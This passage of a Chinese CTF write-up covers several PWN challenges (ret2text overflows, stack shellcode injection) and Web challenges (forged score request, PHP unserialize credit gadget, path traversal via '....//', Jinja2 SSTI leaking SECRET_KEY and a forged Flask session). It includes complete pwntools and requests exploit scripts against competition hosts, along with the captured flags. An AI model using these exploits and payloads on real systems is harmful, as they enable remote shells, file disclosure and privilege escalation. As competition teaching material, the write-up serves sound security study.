但实际利用时,不能只写 backdoor,还需要额外补一个 ret 做栈对齐,否则远端容易直接崩掉。这里用到的对齐地址是:
- ret = 0x40101A
所以最终返回链应当是:
plain
ret -> backdoor
四、偏移计算
真实偏移不是拍脑袋猜的,而是根据函数栈布局确认的。
密码缓冲区到返回地址的距离为:
plain
136
因此 payload 构造为:
plain
b"A" * 136 + p64(0x40101A) + p64(0x4011F6)
含义分别是:
- A * 136:填满缓冲区并覆盖到返回地址前
- p64(0x40101A):补一个 ret,保证栈对齐
- p64(0x4011F6):跳转到后门函数
五、利用思路
利用流程很简单:
- 正常输入任意用户名
- 在密码位置发送溢出 payload
- 函数返回时不再回到原调用点,而是跳到后门
- 后门执行 /bin/sh
- 再通过 shell 执行 cat /flag
这类题本质就是最基础的 ret2text。
完整EXP:
python
from pwn import *
import time
HOST = args.HOST or "120.27.146.76"
PORT = int(args.PORT or 20959)
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
BIN_PATH = os.path.join(BASE_DIR, "vuln")
context.binary = ELF(BIN_PATH)
context.log_level = args.LOG_LEVEL or "info"
RET_ALIGN = 0x40101A
BACKDOOR = 0x4011F6
OFFSET = 136
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(BIN_PATH)
def main():
io = start()
io.recvuntil(b"Username: ")
io.sendline(b"user")
io.recvuntil(b"Password: ")
payload = b"A" * OFFSET + p64(RET_ALIGN) + p64(BACKDOOR)
io.sendline(payload)
# Give the backdoor a moment to spawn /bin/sh on remote.
time.sleep(0.5)
if args.REMOTE:
io.sendline(b"cat /flag; cat flag; exit")
print(io.recvrepeat(2).decode(errors="ignore"), end="")
else:
io.sendline(b"echo PWNED; /bin/sh -c 'id || true; cat /flag || true; cat flag || true'; exit")
print(io.recvrepeat(2).decode(errors="ignore"), end="")
io.close()
if __name__ == "__main__":
main()
#flag{4e6f25f6b8bcd6f006ca0134a2497789}
PWN-NoteService
这题是一道很典型的 ret2text 入门题。程序提供了一个"留言"功能,但在读取笔记内容时把过长输入直接写进栈缓冲区,导致返回地址可控。由于程序开启了 NX,不能直接在栈上执行 shellcode,所以最自然的思路就是跳到程序内部现成的后门函数。
一、保护分析
先看程序保护情况,可以概括为:
- No PIE
- No Canary
- NX enabled
这三个点分别意味着:
- No PIE:程序基址固定,函数地址可以直接用
- No Canary:没有栈保护,不需要先泄露 canary
- NX enabled:栈不可执行,不能走 ret2shellcode
因此本题最佳路线就是 ret2text,也就是直接劫持控制流到程序中已有的后门代码。
二、程序逻辑分析
程序核心逻辑非常简单,大致如下:
plain
void vuln() { char buf[0x40]; puts("=== Note Service ==="); puts("Leave your note:"); read(0, buf, 0x100); puts("Note saved. Thank you!"); }
这里的漏洞一眼就能看到:
- 栈上缓冲区大小只有 0x40
- 但 read() 却读取 0x100 字节
这会导致明显的栈溢出,可以覆盖保存的 rbp 和返回地址。
三、后门函数定位
程序中存在一个后门函数 secret_note,反汇编后可以看到:
plain
secret_note: lea rdi, "/bin/sh" call system@plt
也就是说,这个函数本质上就是:
plain
system("/bin/sh");
关键地址为:
- secret_note = 0x401196
另外,/bin/sh 字符串也在程序 .rodata 段中,因此后门本身已经完全满足利用需求,不需要自己再布置参数。
四、偏移计算
vuln() 的栈帧布局很清楚:
- buf 位于 rbp-0x40
- 返回地址位于 rbp+8
所以从 buf 起始位置到返回地址的偏移为:
plain
0x40 + 8 = 0x48 = 72
因此,最基础的 payload 结构就是:
plain
b"A" * 72 + p64(secret_note)
不过远端稳定利用时,还需要补一个 ret 做栈对齐。
五、为什么要补 ret
如果直接跳 secret_note,本地有时可以跑,但远端不一定稳定。原因是 amd64 下调用 system() 时,栈对齐可能不满足要求。
所以实际利用时,需要在 secret_note 前先补一个单独的 ret:
- ret = 0x40101A
最终返回链应写成:
plain
b"A" * 72 + p64(0x40101A) + p64(0x401196)
这样能让 system("/bin/sh") 在远端更稳定执行。
六、关键交互细节
这题最容易卡住的地方,其实不是偏移,也不是后门地址,而是输入时序。
程序使用的是:
plain
read(0, buf, 0x100);
read() 会一次性最多读取 0x100 字节。如果我们先发 payload,等程序返回后再发 cat /flag,有时 shell 已经起了,但交互时机对不上,就会看起来像"没打通"。
更稳的办法是:
- 第一阶段把溢出 payload 填到 0x100 字节
- 然后把 shell 命令直接拼在同一次发送的后面
- 程序的 read(0, buf, 0x100) 只会消费前 0x100 字节
- 剩下的命令会留在 socket 缓冲区里
- 等 secret_note 调起 /bin/sh 后,shell 会直接把这些剩余命令读走执行
这个细节是本题稳定利用的关键。
七、最终利用思路
所以整条利用链是:
- 用 A * 72 覆盖到返回地址
- 补一个 ret 做栈对齐
- 跳到 secret_note
- 把第一阶段输入补满到 0x100
- 在后面追加 echo PWNED; cat /flag; cat flag; exit
- shell 启动后自动执行剩余命令并输出 flag
八、利用脚本
完整脚本如下:
python
from pwn import *
HOST = "47.99.147.34"
PORT = 15468
OFFSET = 72
RET_ALIGN = 0x40101A
BACKDOOR = 0x401196
READ_SIZE = 0x100
io = remote(HOST, PORT)
io.recvuntil(b"Leave your note:\n")
chain = b"A" * OFFSET
chain += p64(RET_ALIGN)
chain += p64(BACKDOOR)
stage1 = chain.ljust(READ_SIZE, b"P")
stage2 = b"echo PWNED; cat /flag; cat flag; exit\n"
io.send(stage1 + stage2)
print(io.recvrepeat(2).decode(errors="ignore"))
io.close()
#flag{3b5b7523007f6d51ec9eccd6da243103}
PWN-MessageBoard
程序是一个简单的留言板。运行后会先输出一段欢迎信息,并且直接打印出栈上缓冲区的地址,类似:
plain
printf("Buffer at: %p\n", buf);
随后程序使用 read() 读取用户输入到栈缓冲区中,但读取长度大于缓冲区实际大小,形成经典栈溢出。
核心漏洞点有两个:
- 栈地址泄露
程序直接输出了缓冲区地址,攻击者可以准确知道 shellcode 应该放到哪里。 - read() 长度检查不当
例如:
plain
char buf[0x80]; read(0, buf, 0x100);
这里只分配了 0x80,却读入了 0x100,因此可以覆盖返回地址。
如果目标程序的栈是可执行的,那么就不需要复杂的 ROP,直接把 shellcode 写进栈里,再把返回地址改成缓冲区地址即可拿到 shell。
保护分析
使用 checksec 可发现:
- 存在栈溢出
- 栈可执行
- 程序泄露了栈地址
- 因此适合直接 shellcode 注入
这类题通常不需要绕 NX,因为题目本身就是考 shellcode 注入。
利用思路
整体利用过程如下:
- 连接程序,读取输出中的缓冲区地址
- 构造 /bin/sh shellcode
- 将 shellcode 放入输入前部
- 使用填充字节补齐到返回地址偏移
- 用泄露出的缓冲区地址覆盖返回地址
- 函数返回后跳转到栈上的 shellcode,执行 system("/bin/sh") 类似效果,拿到交互 shell
- 读取 flag
偏移计算
根据题目实际情况,返回地址偏移为 136 字节。
也就是:
- 前面放 shellcode
- 不足 136 的部分用垃圾数据填充
- 最后覆盖返回地址为 buf 的起始地址
EXP
python
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
io = remote('120.27.146.76', 19743)
io.recvuntil(b'Buffer at: ')
buf_addr = int(io.recvline().strip(), 16)
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(136, b'A')
payload += p64(buf_addr)
io.send(payload)
io.interactive()
#cat /flag
#flag{5e76f1da370f72f3dbac204eade3f3b7}
五、Web
WEB-Snake_Game
访问题目后可以看到是一个前端实现的贪吃蛇小游戏,页面提示:
Score 300 to win the FLAG!
第一眼看上去像是要真的玩到 300 分,但这类初级 Web 题通常重点不在"手玩游戏",而在前后端交互逻辑是否安全。
因此先查看页面源码,可以发现核心逻辑都写在前端 JavaScript 里。
页面中的关键函数如下:
javascript
function checkWin(s) {
let formData = new FormData();
formData.append('score', s);
fetch('index.php', { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
let msgEl = document.getElementById('msg');
if(data.status === 'success') {
msgEl.style.color = '#2ecc71';
msgEl.innerText = data.flag;
} else {
msgEl.style.color = '#e74c3c';
msgEl.innerText = "Game Over! " + data.message;
}
});
}
同时在游戏逻辑中,当蛇撞墙或者撞到自己时,会执行:
checkWin(score);
这说明:
分数 score 完全保存在前端
游戏结束后,前端会把当前分数直接 POST 给 index.php
服务端返回是否成功以及 flag
也就是说,服务端很可能只是"相信客户端提交的分数"。
真正的问题是:
score 是由客户端直接传给服务端的,而不是由服务端自己计算或校验。
这就导致攻击者不需要真的玩到 300 分,只需要手工伪造一个请求,把 score 改成 300 即可。
这属于非常典型的:
- 客户端可控参数信任
- 业务逻辑缺陷
- 前端改分 / 伪造分数
- 利用方法
直接向接口发送一个 POST 请求:
javascript
POST /index.php
Content-Type: application/x-www-form-urlencoded
score=300
服务端返回:
javascript
{"status":"success","message":"Congratulations!","flag":"flag{990bbcc6f10cdec005051a07f73dbc3c}"}
如果分数不够,比如:
javascript
score=299
则返回:
javascript
{"status":"fail","message":"Score too low, need 300!"}
由此可以确认,服务端只检查分数是否大于等于 300,并没有验证这个分数是否真实来自游戏过程。
利用脚本
python
import requests
url = "http://47.99.147.34:17713/index.php"
data = {"score": "300"}
r = requests.post(url, data=data)
print(r.text)
#flag{990bbcc6f10cdec005051a07f73dbc3c}
WEB-PHP_Payment
打开首页后可以看到这是一个"极简支付"风格的商城页面,当前用户初始余额为 20 金币,而目标商品 至尊 Flag 的价格高达99999 金币,显然正常购买是做不到的,因此第一步应该先找"改余额"或者"绕过购买校验"的入口。

首页前端源码里引用了一个脚本 /app.js。查看后可以发现两个关键接口:

javascript
fetch('/buy.php', {
method: 'POST',
body: formData.toString()
})
fetch('/api/apply_coupon.php', {
method: 'POST',
body: fp.toString()
})
也就是说,前端有两个核心功能:
- buy.php:购买商品
- api/apply_coupon.php:应用优惠券
同时页面上还有一个很醒目的"输入 Base64 代金券"输入框,因此这道题的重点很可能就在优惠券逻辑上。
继续分析源码。其中几个关键文件如下:
buy.php
php
<?php
session_start();
include 'config.php';
header('Content-Type: application/json');
if (!isset($_SESSION['user_id'])) {
die(json_encode(["error" => "Authentication required"]));
}
$item = $_POST['item'] ?? '';
if ($item === '') {
die(json_encode(["error" => "Missing item parameter"]));
}
$items = [
'basic_vip' => 10,
'premium_vip' => 50,
'flag' => 99999
];
if (!array_key_exists($item, $items)) {
die(json_encode(["error" => "Invalid item."]));
}
$price = $items[$item];
if ($_SESSION['balance'] < $price) {
die(json_encode(["error" => "Insufficient funds! You only have " . intval($_SESSION['balance']) . " 金币."]));
}
$_SESSION['balance'] -= $price;
if ($item === 'flag') {
$flag = "flag{76ba823ae0ab8606a6db7a2de4d71e88}";
if (file_exists('/var/www/flag.php')) {
include '/var/www/flag.php';
if (isset($FLAG)) $flag = $FLAG;
}
echo json_encode(["success" => true, "message" => "购买 successful! Your Flag is [ " . $flag . " ]", "balance" => $_SESSION['balance']]);
} else {
echo json_encode(["success" => true, "message" => "购买 successful! Enjoy your " . htmlspecialchars($item) . ".", "balance" => $_SESSION['balance']]);
}
?>
这里可以确认:
- 购买 flag 需要 99999 金币
- 余额保存在 $_SESSION'balance'
- 只要余额足够,直接就会返回 flag
所以问题变成了:如何控制 $_SESSION'balance'。
再看 api/apply_coupon.php:
php
<?php
session_start();
include '../config.php';
include '../models.php';
header('Content-Type: application/json');
if (!isset($_SESSION['user_id'])) {
die(json_encode(["error" => "Authentication required"]));
}
$couponData = $_POST['coupon'] ?? '';
if ($couponData === '') {
die(json_encode(["error" => "Empty coupon code"]));
}
$decoded = base64_decode($couponData);
if ($decoded === false) {
die(json_encode(["error" => "Invalid coupon format. Must be base64."]));
}
try {
$promo = @unserialize($decoded);
if ($promo === false) {
die(json_encode(["error" => "Failed to apply coupon."]));
}
} catch (Exception $e) {
die(json_encode(["error" => "Coupon parsing error."]));
}
echo json_encode(["success" => true, "message" => "Coupon processed."]);
?>
这里存在一个非常明显的问题:服务端把用户提交的 Base64 数据解码之后,直接送进了 unserialize()。这意味着用户可以自己构造任意可反序列化对象。如果类里存在危险魔术方法,就很容易形成 PHP 反序列化漏洞。
再看 models.php:
php
<?php
class PromoManager {
public $promo_credit;
public $promo_code;
public function __construct($code, $credit) {
$this->promo_code = $code;
$this->promo_credit = $credit;
}
function __destruct() {
if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
$_SESSION['balance'] += intval($this->promo_credit);
}
}
}
?>
题眼就在这里。PromoManager 的 __destruct() 会在对象销毁时自动执行,并且会把对象属性 promo_credit 的值累加到 $_SESSION'balance' 上。由于 apply_coupon.php 会反序列化我们可控的数据,因此我们完全可以手工构造一个 PromoManager 对象,把 promo_credit 设置成足够大的数,从而给自己"充值"。
构造的序列化字符串如下:
javascript
O:12:"PromoManager":2:{s:12:"promo_credit";i:100000;s:10:"promo_code";s:4:"PWN!";}
含义是:
- 类名:PromoManager
- 属性 promo_credit = 100000
- 属性 promo_code = "PWN!"
把它做 Base64 编码:
plain
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6NDoiUFdOISI7fQ==
然后用同一个会话先访问首页初始化 Session,再提交这个优惠券,最后购买 flag 即可。


WEB-Enterprise_OA
题目给出的提示很明确,关键词是"OA 办公系统入口"和"严密的目录穿越防护机制",基本可以先往文件包含和目录穿越方向看。访问首页 http://47.99.147.34:25759/ 后,可以看到导航链接都使用了同一个参数:
plain
/?module=public_notices.php
/?module=about.php
/?module=contact.php
这说明页面内容很可能是通过 module 参数动态包含的,因此这里就是主要攻击点。
先测试一个不存在的模块:
plain
/?module=nosuch.php
页面报错回显如下关键信息:
plain
include(nosuch.php): failed to open stream include(): Failed opening 'nosuch.php' /var/www/html/index.php on line 30
由此可以确认后台存在 include($module) 这样的文件包含逻辑。继续尝试常规目录穿越:
plain
/?module=../../../../etc/passwd
结果报错中显示实际被包含的路径变成了:
plain
etc/passwd
说明程序对 .../ 做了过滤,很可能是类似下面这种代码:
plain
$module = str_replace('../', '', $module); include($module);
这种防护方式只会简单删除字符串 .../,可以用经典绕过写法 ...// 来构造。因为:
plain
....// 经过替换 '../' 后,会剩下 ../
于是构造 payload:
plain
/?module=....//....//....//....//etc/passwd
成功读取到了 /etc/passwd,证明目录穿越绕过成立。
接下来直接尝试常见 flag 路径。访问:
plain
http://47.99.147.34:25759/?module=....//....//....//....//flag.txt
页面成功返回 flag:
plain
flag{ef1c939ee2b22402dc2e5f425094d2a4}
WEB-TaxSystem_SSTI
题目给了源码包 SRC.zip,因此优先进行源码审计。
解压后可以看到核心文件:
app.pyconfig.pyinit_db.pytemplates/
从题目名可以推测这是 SSTI,但实际审计下来会发现,这题最稳的利用链并不是"直接命令执行",而是:
- 先利用 SSTI 读取线上真实
SECRET_KEY - 再伪造 Flask session
- 越权访问
/admin/vault - 拿到 flag
源码审计
app.py 中登录逻辑如下:
python
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
db = get_db()
user = db.execute('SELECT * FROM users WHERE username = ? AND password = ?', (username, password)).fetchone()
if user:
session['user_id'] = user['id']
session['role'] = user['role']
return redirect(url_for('dashboard'))
return render_template('login.html', error='Invalid credentials')
源码包中的 init_db.py 里可以看到默认管理员账号:
plain
cur.execute('INSERT INTO users (username, password, role) VALUES ("admin", "123456", "admin")')
因此可以先使用:
plain
admin / 123456
登录系统。
源码中有一个可修改 profile 内容的接口:
python
@app.route('/api/import', methods=['POST'])
def import_data():
if 'user_id' not in session: return jsonify({'status': 'error', 'message': 'unauthorized'}), 401
data = request.json
profile_id = data.get('profile_id')
import_data = data.get('data', {})
db = get_db()
profile = db.execute("SELECT * FROM profiles WHERE id = ? AND user_id = ?", (profile_id, session['user_id'])).fetchone()
if not profile: return jsonify({'status': 'error', 'message': 'not found'}), 404
allowed_fields = ['income', 'deductions', 'state', 'custom_footer', 'year']
这里说明普通登录用户可以通过 /api/import 修改:
- state
- custom_footer
这两个字段后面会变成关键突破口。
在 /preview/<profile_id> 里:
python
@app.route('/preview/<int:profile_id>')
def preview(profile_id):
...
state = profile['state']
if state == 'AUDIT_PENDING':
custom_footer = profile['custom_footer']
blacklist = ['__', '[', ']', '|', '\\', '+', "'", '"', 'request', 'session', 'url_for', 'popen', 'system']
for word in blacklist:
if word in custom_footer:
return "Security Policy Violation: Blocked character or word detected in footer.", 403
template_html = f"""
...
{custom_footer}
...
"""
try:
return render_template_string(template_html)
这里的危险点非常明显:
- custom_footer 来自用户可控输入
- 在 AUDIT_PENDING 状态下,会被直接拼接进模板
- 最终通过 render_template_string() 渲染
这就是典型的 Flask / Jinja2 SSTI。
虽然有黑名单,但黑名单并不严密,仍然可以直接使用像 {``{config}} 这样的 payload。
先登录管理员账号,然后新建一个 profile:
plain
POST /api/create_profile
接着调用 /api/import 修改数据,把状态设为 AUDIT_PENDING,并把 footer 改成模板表达式:
plain
{
"profile_id": 1,
"data": {
"state": "AUDIT_PENDING",
"custom_footer": "{{7*7}}"
}
}
访问:
plain
/preview/1
页面中成功渲染出了:
plain
49
说明 SSTI 成立。
题目原本可以继续尝试利用 Jinja2 做更深层的对象逃逸,但这里有一个更优雅、也更稳定的利用方法:
直接读取 Flask 配置里的真实 SECRET_KEY。
因为在模板上下文中,config 是可访问的,所以可以使用:
plain
{{config.SECRET_KEY}}
把 payload 写入 custom_footer 后访问 /preview/1,页面成功返回:
plain
secret_tax_key_2026_xoxo
这就是线上真实使用的 Flask session 签名密钥。
拿到真实 SECRET_KEY 后,就可以伪造 Flask session,把自己的角色改成:
plain
{ "role": "tax_inspector", "user_id": 1 }
因为 /admin/vault 中的权限判断是:
python
@app.route('/admin/vault')
def admin_vault():
if session.get('role') != 'tax_inspector':
return ... 403
所以只要 session 中的 role 为 tax_inspector,就可以越权访问金库页面。
使用 Flask 的 session 签名逻辑生成伪造 cookie。
最终可用的 session 为:
plain
session=eyJyb2xlIjoidGF4X2luc3BlY3RvciIsInVzZXJfaWQiOjF9.ahqCmQ.Psf8jFuB5mvx0-hzPJmmJq_dZtU
携带该 cookie 访问:
plain
GET /admin/vault Cookie: session=eyJyb2xlIjoidGF4X2luc3BlY3RvciIsInVzZXJfaWQiOjF9.ahqCmQ.Psf8jFuB5mvx0-hzPJmmJq_dZtU
即可返回 flag 页面。
完整EXP:
python
import re
import requests
from flask.sessions import SecureCookieSessionInterface
BASE = "http://47.99.147.34:22477"
USERNAME = "admin"
PASSWORD = "123456"
def sign_session(secret_key, data):
class MockApp:
secret_key = secret_key
config = {"SECRET_KEY": secret_key}
serializer = SecureCookieSessionInterface().get_signing_serializer(MockApp())
return serializer.dumps(data)
def extract_footer(html):
m = re.search(
r'<div class="mt-12 pt-6 border-t border-gray-200 text-sm text-gray-500 italic text-center">\s*(.*?)\s*</div>',
html,
re.S,
)
return m.group(1).strip() if m else html[:500]
def extract_flag(html):
m = re.search(r'<div class="flag-box">\s*([^<]+)\s*</div>', html, re.S)
return m.group(1).strip() if m else None
def main():
s = requests.Session()
r = s.post(
f"{BASE}/login",
data={"username": USERNAME, "password": PASSWORD},
allow_redirects=False,
timeout=10,
)
print(f"[+] login status: {r.status_code}")
r = s.post(
f"{BASE}/api/create_profile",
allow_redirects=False,
timeout=10,
)
print(f"[+] create profile status: {r.status_code}")
payload = {
"profile_id": 1,
"data": {
"state": "AUDIT_PENDING",
"custom_footer": "{{config.SECRET_KEY}}",
"year": 2026,
"income": 1,
"deductions": 0,
},
}
r = s.post(f"{BASE}/api/import", json=payload, timeout=10)
print(f"[+] import status: {r.status_code} -> {r.text}")
r = s.get(f"{BASE}/preview/1", timeout=10)
secret = extract_footer(r.text)
print(f"[+] SECRET_KEY: {secret}")
forged = sign_session(secret, {"role": "tax_inspector", "user_id": 1})
print(f"[+] forged session: {forged}")
r = requests.get(
f"{BASE}/admin/vault",
headers={"Cookie": f"session={forged}"},
timeout=10,
)
flag = extract_flag(r.text)
print(f"[+] FLAG: {flag}")
if __name__ == "__main__":
main()
#flag{a254d76b46619625320bd29d4a52e79f}